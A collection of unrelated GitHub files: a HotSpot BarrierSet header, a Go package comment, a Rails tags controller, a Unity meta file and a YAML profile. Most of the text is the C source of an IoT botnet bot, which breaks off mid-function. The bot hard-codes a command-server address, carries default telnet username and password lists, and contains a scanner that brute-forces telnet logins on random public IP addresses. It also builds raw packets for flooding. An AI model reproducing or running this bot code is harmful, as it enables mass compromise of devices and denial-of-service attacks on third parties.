__FTMM_H__ */ /* END */
{ "pile_set_name": "Github" }
/* * Copyright (c) 2001, 2010, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. * */ #ifndef SHARE_VM_MEMORY_BARRIERSET_INLINE_HPP #define SHARE_VM_MEMORY_BARRIERSET_INLINE_HPP #include "memory/barrierSet.hpp" #include "memory/cardTableModRefBS.hpp" // Inline functions of BarrierSet, which de-virtualize certain // performance-critical calls when the barrier is the most common // card-table kind. template <class T> void BarrierSet::write_ref_field_pre(T* field, oop new_val) { if (kind() == CardTableModRef) { ((CardTableModRefBS*)this)->inline_write_ref_field_pre(field, new_val); } else { write_ref_field_pre_work(field, new_val); } } void BarrierSet::write_ref_field(void* field, oop new_val) { if (kind() == CardTableModRef) { ((CardTableModRefBS*)this)->inline_write_ref_field(field, new_val); } else { write_ref_field_work(field, new_val); } } // count is number of array elements being written void BarrierSet::write_ref_array(HeapWord* start, size_t count) { assert(count <= (size_t)max_intx, "count too large"); HeapWord* end = (HeapWord*)((char*)start + (count*heapOopSize)); // In the case of compressed oops, start and end may potentially be misaligned; // so we need to conservatively align the first downward (this is not // strictly necessary for current uses, but a case of good hygiene and, // if you will, aesthetics) and the second upward (this is essential for // current uses) to a HeapWord boundary, so we mark all cards overlapping // this write. If this evolves in the future to calling a // logging barrier of narrow oop granularity, like the pre-barrier for G1 // (mentioned here merely by way of example), we will need to change this // interface, so it is "exactly precise" (if i may be allowed the adverbial // redundancy for emphasis) and does not include narrow oop slots not // included in the original write interval. HeapWord* aligned_start = (HeapWord*)align_size_down((uintptr_t)start, HeapWordSize); HeapWord* aligned_end = (HeapWord*)align_size_up ((uintptr_t)end, HeapWordSize); // If compressed oops were not being used, these should already be aligned assert(UseCompressedOops || (aligned_start == start && aligned_end == end), "Expected heap word alignment of start and end"); #if 0 warning("Post:\t" INTPTR_FORMAT "[" SIZE_FORMAT "] : [" INTPTR_FORMAT","INTPTR_FORMAT")\t", start, count, aligned_start, aligned_end); #endif write_ref_array_work(MemRegion(aligned_start, aligned_end)); } void BarrierSet::write_region(MemRegion mr) { if (kind() == CardTableModRef) { ((CardTableModRefBS*)this)->inline_write_region(mr); } else { write_region_work(mr); } } #endif // SHARE_VM_MEMORY_BARRIERSET_INLINE_HPP
{ "pile_set_name": "Github" }
// Package stdlib is a collection of cty functions that are expected to be // generally useful, and are thus factored out into this shared library in // the hope that cty-using applications will have consistent behavior when // using these functions. // // See the parent package "function" for more information on the purpose // and usage of cty functions. // // This package contains both Go functions, which provide convenient access // to call the functions from Go code, and the Function objects themselves. // The latter follow the naming scheme of appending "Func" to the end of // the function name. package stdlib
{ "pile_set_name": "Github" }
class Admin::Products::TagsController < Admin::AdminBaseController before_action :authenticate_user! # A JSON index of all the tags in the database for the tagsinput typeahead functionality # # @return [JSON object] def index @tags = Tag.all.map(&:name) render json: @tags, status: 200 end end
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 5ee66202fd694764a9277c68988ccaed MonoImporter: externalObjects: {} serializedVersion: 2 defaultReferences: [] executionOrder: 0 icon: {instanceID: 0} userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
--- name: Samir Maharjan institution: Nepal College Of Information Technology profile_pic: samir.jpg quote: Code like a Tiger,Debug like a Bee github_user: Samir84753 ---
{ "pile_set_name": "Github" }
// ___ __ _ // / \___ / _(_)_ __ ___ ___ // / /\ / _ \ |_| | '_ \ / _ \/ __| // / /_// __/ _| | | | | __/\__ \ // /___,' \___|_| |_|_| |_|\___||___/ #define PR_SET_NAME 15 #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *)) #define PAD_RIGHT 1 #define PAD_ZERO 2 #define PRINT_BUF_LEN 12 #define CMD_IAC 255 #define CMD_WILL 251 #define CMD_WONT 252 #define CMD_DO 253 #define CMD_DONT 254 #define OPT_SGA 3 // _____ _ _ // \_ \_ __ ___| |_ _ __| | ___ ___ // / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __| // /\/ /_ | | | | (__| | |_| | (_| | __/\__ \ // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/ #include <stdlib.h> #include <stdarg.h> #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> #include <strings.h> #include <string.h> #include <sys/utsname.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netinet/tcp.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <net/if.h> // ___ __ _ // / __\___ _ __ / _(_) __ _ // / / / _ \| '_ \| |_| |/ _` | // / /__| (_) | | | | _| | (_| | // \____/\___/|_| |_|_| |_|\__, | // |___/ unsigned char *commServer[] = { "89.34.99.38:999" //Start the server on this port }; // ___ _ // / __\ _ _ __ ___| |_(_) ___ _ __ ___ // / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __| // / / | |_| | | | | (__| |_| | (_) | | | \__ \ // \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/ int initConnection(); int getBogos(unsigned char *bogomips); int getCores(); int getCountry(unsigned char *buf, int bufsize); void makeRandomStr(unsigned char *buf, int length); int sockprintf(int sock, char *formatStr, ...); char *inet_ntoa(struct in_addr in); // ___ _ _ _ // / _ \ | ___ | |__ __ _| |___ // / /_\/ |/ _ \| '_ \ / _` | / __| // / /_\\| | (_) | |_) | (_| | \__ \ // \____/|_|\___/|_.__/ \__,_|_|___/ int mainCommSock = 0, currentServer = -1, gotIP = 0; uint32_t *pids; uint32_t scanPid; uint64_t numpids = 0; struct in_addr ourIP; unsigned char macAddress[6] = {0}; char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0"}; char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0"}; const char *UserAgents[] = { "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)", "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)", "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51", "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36", "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36", "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00", "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0" }; // ___ ___ __ __ ___ // / __\/ _ \/__\ /\ \ \/ _ \ // / _\ / /_)/ \// / \/ / /_\/ // / / / ___/ _ \/ /\ / /_\\ // \/ \/ \/ \_/\_\ \/\____/ #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (uint32_t)(t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } // _ _ _ // /\ /\| |_(_) |___ // / / \ \ __| | / __| // \ \_/ / |_| | \__ \ // \___/ \__|_|_|___/ void trim(char *str) { int i; int begin = 0; int end = strlen(str) - 1; while (isspace(str[begin])) begin++; while ((end >= begin) && isspace(str[end])) end--; for (i = begin; i <= end; i++) str[i - begin] = str[i]; str[i - begin] = '\0'; } static void printchar(unsigned char **str, int c) { if (str) { **str = c; ++(*str); } else (void)write(1, &c, 1); } static int prints(unsigned char **out, const unsigned char *string, int width, int pad) { register int pc = 0, padchar = ' '; if (width > 0) { register int len = 0; register const unsigned char *ptr; for (ptr = string; *ptr; ++ptr) ++len; if (len >= width) width = 0; else width -= len; if (pad & PAD_ZERO) padchar = '0'; } if (!(pad & PAD_RIGHT)) { for ( ; width > 0; --width) { printchar (out, padchar); ++pc; } } for ( ; *string ; ++string) { printchar (out, *string); ++pc; } for ( ; width > 0; --width) { printchar (out, padchar); ++pc; } return pc; } static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) { unsigned char print_buf[PRINT_BUF_LEN]; register unsigned char *s; register int t, neg = 0, pc = 0; register unsigned int u = i; if (i == 0) { print_buf[0] = '0'; print_buf[1] = '\0'; return prints (out, print_buf, width, pad); } if (sg && b == 10 && i < 0) { neg = 1; u = -i; } s = print_buf + PRINT_BUF_LEN-1; *s = '\0'; while (u) { t = u % b; if( t >= 10 ) t += letbase - '0' - 10; *--s = t + '0'; u /= b; } if (neg) { if( width && (pad & PAD_ZERO) ) { printchar (out, '-'); ++pc; --width; } else { *--s = '-'; } } return pc + prints (out, s, width, pad); } static int print(unsigned char **out, const unsigned char *format, va_list args ) { register int width, pad; register int pc = 0; unsigned char scr[2]; for (; *format != 0; ++format) { if (*format == '%') { ++format; width = pad = 0; if (*format == '\0') break; if (*format == '%') goto out; if (*format == '-') { ++format; pad = PAD_RIGHT; } while (*format == '0') { ++format; pad |= PAD_ZERO; } for ( ; *format >= '0' && *format <= '9'; ++format) { width *= 10; width += *format - '0'; } if( *format == 's' ) { register char *s = (char *)va_arg( args, int ); pc += prints (out, s?s:"(null)", width, pad); continue; } if( *format == 'd' ) { pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); continue; } if( *format == 'x' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); continue; } if( *format == 'X' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); continue; } if( *format == 'u' ) { pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); continue; } if( *format == 'c' ) { scr[0] = (unsigned char)va_arg( args, int ); scr[1] = '\0'; pc += prints (out, scr, width, pad); continue; } } else { out: printchar (out, *format); ++pc; } } if (out) **out = '\0'; va_end( args ); return pc; } int zprintf(const unsigned char *format, ...) { va_list args; va_start( args, format ); return print( 0, format, args ); } int szprintf(unsigned char *out, const unsigned char *format, ...) { va_list args; va_start( args, format ); return print( &out, format, args ); } int sockprintf(int sock, char *formatStr, ...) { unsigned char *textBuffer = malloc(2048); memset(textBuffer, 0, 2048); char *orig = textBuffer; va_list args; va_start(args, formatStr); print(&textBuffer, formatStr, args); va_end(args); orig[strlen(orig)] = '\n'; zprintf("buf: %s\n", orig); int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL); free(orig); return q; } static int *fdopen_pids; int fdpopen(unsigned char *program, register unsigned char *type) { register int iop; int pdes[2], fds, pid; if (*type != 'r' && *type != 'w' || type[1]) return -1; if (pipe(pdes) < 0) return -1; if (fdopen_pids == NULL) { if ((fds = getdtablesize()) <= 0) return -1; if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1; memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int)); } switch (pid = vfork()) { case -1: close(pdes[0]); close(pdes[1]); return -1; case 0: if (*type == 'r') { if (pdes[1] != 1) { dup2(pdes[1], 1); close(pdes[1]); } close(pdes[0]); } else { if (pdes[0] != 0) { (void) dup2(pdes[0], 0); (void) close(pdes[0]); } (void) close(pdes[1]); } execl("/bin/sh", "sh", "-c", program, NULL); _exit(127); } if (*type == 'r') { iop = pdes[0]; (void) close(pdes[1]); } else { iop = pdes[1]; (void) close(pdes[0]); } fdopen_pids[iop] = pid; return (iop); } int fdpclose(int iop) { register int fdes; sigset_t omask, nmask; int pstat; register int pid; if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1); (void) close(iop); sigemptyset(&nmask); sigaddset(&nmask, SIGINT); sigaddset(&nmask, SIGQUIT); sigaddset(&nmask, SIGHUP); (void) sigprocmask(SIG_BLOCK, &nmask, &omask); do { pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0); } while (pid == -1 && errno == EINTR); (void) sigprocmask(SIG_SETMASK, &omask, NULL); fdopen_pids[fdes] = 0; return (pid == -1 ? -1 : WEXITSTATUS(pstat)); } unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) { int got = 1, total = 0; while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; } return got == 0 ? NULL : buffer; } static const long hextable[] = { [0 ... 255] = -1, ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, ['A'] = 10, 11, 12, 13, 14, 15, ['a'] = 10, 11, 12, 13, 14, 15 }; long parseHex(unsigned char *hex) { long ret = 0; while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++]; return ret; } int wildString(const unsigned char* pattern, const unsigned char* string) { switch(*pattern) { case '\0': return *string; case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1)); case '?': return !(*string && !wildString(pattern+1, string+1)); default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1)); } } int getHost(unsigned char *toGet, struct in_addr *i) { struct hostent *h; if((i->s_addr = inet_addr(toGet)) == -1) return 1; return 0; } void uppercase(unsigned char *str) { while(*str) { *str = toupper(*str); str++; } } int getBogos(unsigned char *bogomips) { int cmdline = open("/proc/cpuinfo", O_RDONLY); char linebuf[4096]; while(fdgets(linebuf, 4096, cmdline) != NULL) { uppercase(linebuf); if(strstr(linebuf, "BOGOMIPS") == linebuf) { unsigned char *pos = linebuf + 8; while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++; while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0; if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00; strcpy(bogomips, pos); close(cmdline); return 0; } memset(linebuf, 0, 4096); } close(cmdline); return 1; } int getCores() { int totalcores = 0; int cmdline = open("/proc/cpuinfo", O_RDONLY); char linebuf[4096]; while(fdgets(linebuf, 4096, cmdline) != NULL) { uppercase(linebuf); if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++; memset(linebuf, 0, 4096); } close(cmdline); return totalcores; } void makeRandomStr(unsigned char *buf, int length) { int i = 0; for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65; } int recvLine(int socket, unsigned char *buf, int bufsize) { memset(buf, 0, bufsize); fd_set myset; struct timeval tv; tv.tv_sec = 30; tv.tv_usec = 0; FD_ZERO(&myset); FD_SET(socket, &myset); int selectRtn, retryCount; if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) { while(retryCount < 10) { sockprintf(mainCommSock, "PING"); tv.tv_sec = 30; tv.tv_usec = 0; FD_ZERO(&myset); FD_SET(socket, &myset); if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) { retryCount++; continue; } break; } } unsigned char tmpchr; unsigned char *cp; int count = 0; cp = buf; while(bufsize-- > 1) { if(recv(mainCommSock, &tmpchr, 1, 0) != 1) { *cp = 0x00; return -1; } *cp++ = tmpchr; if(tmpchr == '\n') break; count++; } *cp = 0x00; // zprintf("recv: %s\n", cp); return count; } int connectTimeout(int fd, char *host, int port, int timeout) { struct sockaddr_in dest_addr; fd_set myset; struct timeval tv; socklen_t lon; int valopt; long arg = fcntl(fd, F_GETFL, NULL); arg |= O_NONBLOCK; fcntl(fd, F_SETFL, arg); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(port); if(getHost(host, &dest_addr.sin_addr)) return 0; memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); if (res < 0) { if (errno == EINPROGRESS) { tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&myset); FD_SET(fd, &myset); if (select(fd+1, NULL, &myset, NULL, &tv) > 0) { lon = sizeof(int); getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); if (valopt) return 0; } else return 0; } else return 0; } arg = fcntl(fd, F_GETFL, NULL); arg &= (~O_NONBLOCK); fcntl(fd, F_SETFL, arg); return 1; } int listFork() { uint32_t parent, *newpids, i; parent = fork(); if (parent <= 0) return parent; numpids++; newpids = (uint32_t*)malloc((numpids + 1) * 4); for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i]; newpids[numpids - 1] = parent; free(pids); pids = newpids; return parent; } int negotiate(int sock, unsigned char *buf, int len) { unsigned char c; switch (buf[1]) { case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0; case CMD_WILL: case CMD_WONT: case CMD_DO: case CMD_DONT: c = CMD_IAC; send(sock, &c, 1, MSG_NOSIGNAL); if (CMD_WONT == buf[1]) c = CMD_DONT; else if (CMD_DONT == buf[1]) c = CMD_WONT; else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO); else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT); send(sock, &c, 1, MSG_NOSIGNAL); send(sock, &(buf[2]), 1, MSG_NOSIGNAL); break; default: break; } return 0; } int matchPrompt(char *bufStr) { char *prompts = ":>%$#\0"; int bufLen = strlen(bufStr); int i, q = 0; for(i = 0; i < strlen(prompts); i++) { while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++; if(*(bufStr + bufLen - q) == prompts[i]) return 1; } return 0; } int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) { int bufferUsed = initialIndex, got = 0, found = 0; fd_set myset; struct timeval tv; tv.tv_sec = timeout; tv.tv_usec = timeoutusec; unsigned char *initialRead = NULL; while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) { FD_ZERO(&myset); FD_SET(fd, &myset); if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break; initialRead = buffer + bufferUsed; got = recv(fd, initialRead, 1, 0); if(got == -1 || got == 0) return 0; bufferUsed += got; if(*initialRead == 0xFF) { got = recv(fd, initialRead + 1, 2, 0); if(got == -1 || got == 0) return 0; bufferUsed += got; if(!negotiate(fd, initialRead, 3)) return 0; } else { if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; } } } if(found) return 1; return 0; } // _____ ___ _ _ _ // \_ \/ _ \ /\ /\| |_(_) |___ // / /\/ /_)/ / / \ \ __| | / __| // /\/ /_/ ___/ \ \_/ / |_| | \__ \ // \____/\/ \___/ \__|_|_|___/ in_addr_t getRandomPublicIP() { uint8_t ipState[4] = {0}; ipState[0] = rand() % 255; ipState[1] = rand() % 255; ipState[2] = rand() % 255; ipState[3] = rand() % 255; while ((ipState[0] == 0) || (ipState[0] == 10) || (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) || (ipState[0] == 127) || (ipState[0] == 169 && ipState[1] == 254) || (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) || (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) || (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) || (ipState[0] == 192 && ipState[1] == 168) || (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) || (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) || (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) || (ipState[0] >= 224)) { ipState[0] = rand() % 255; ipState[1] = rand() % 255; ipState[2] = rand() % 255; ipState[3] = rand() % 255; } char ip[16] = {0}; sprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]); return inet_addr(ip); } in_addr_t getRandomIP(in_addr_t netmask) { in_addr_t tmp = ntohl(ourIP.s_addr) & netmask; return tmp ^ ( rand_cmwc() & ~netmask); } unsigned short csum (unsigned short *buf, int count) { register uint64_t sum = 0; while( count > 1 ) { sum += *buf++; count -= 2; } if(count > 0) { sum += *(unsigned char *)buf; } while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (uint16_t)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr=iph->saddr; pseudohead.dst_addr=iph->daddr; pseudohead.zero=0; pseudohead.proto=IPPROTO_TCP; pseudohead.length=htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); unsigned short output = csum(tcp,totaltcp_len); free(tcp); return output; } void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + packetSize; iph->id = rand_cmwc(); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = protocol; iph->check = 0; iph->saddr = source; iph->daddr = dest; } int sclose(int fd) { if(3 > fd) return 1; close(fd); return 0; } // _____ _ _ __ _ _ // /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| | // / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ | // / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ | // \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_| void StartTheLelz(int maxfds) { int max = (getdtablesize() / 4) * 3, i, res, valopt; max = max > maxfds ? max : maxfds; fd_set myset; struct timeval tv; socklen_t lon; struct sockaddr_in dest_addr; dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(23); memset(dest_addr.sin_zero, '\0', sizeof(dest_addr.sin_zero)); struct telstate_t { int fd; uint32_t ip; uint8_t state; uint8_t complete; uint8_t usernameInd; uint8_t passwordInd; uint32_t totalTimeout; uint16_t bufUsed; char *sockbuf; } fds[max]; memset(fds, 0, max * (sizeof(int) + 1)); for (i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(2048); memset(fds[i].sockbuf, 0, 2048); } struct timeval timeout; timeout.tv_sec = 5; timeout.tv_usec = 100; while (1) { for (i = 0; i < max; i++) { switch (fds[i].state) { case 0: { memset(fds[i].sockbuf, 0, 2048); if (fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); } else { fds[i].passwordInd++; if (fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; } if (fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; } } dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(23); memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); dest_addr.sin_addr.s_addr = fds[i].ip; fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)); setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)); if(fds[i].fd == -1) { continue; } fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; } else { fds[i].state = 1; fds[i].totalTimeout = 0; } } break; case 1: { if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); FD_ZERO(&myset); FD_SET(fds[i].fd, &myset); tv.tv_sec = 0; tv.tv_usec = 10000; res = select(fds[i].fd+1, NULL, &myset, NULL, &tv); if(res == 1) { lon = sizeof(int); valopt = 0; getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); if(valopt) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; } else { fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK)); fds[i].totalTimeout = 0; fds[i].bufUsed = 0; memset(fds[i].sockbuf, 0, 1024); fds[i].state = 2; continue; } } else if(res == -1) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; } if(fds[i].totalTimeout + 5 < time(NULL)) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; } } break; case 2: { if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) { fds[i].totalTimeout = 0; fds[i].bufUsed = 0; memset(fds[i].sockbuf, 0, 1024); fds[i].state = 3; continue; } else { fds[i].bufUsed = strlen(fds[i].sockbuf); } if(fds[i].totalTimeout + 8 < 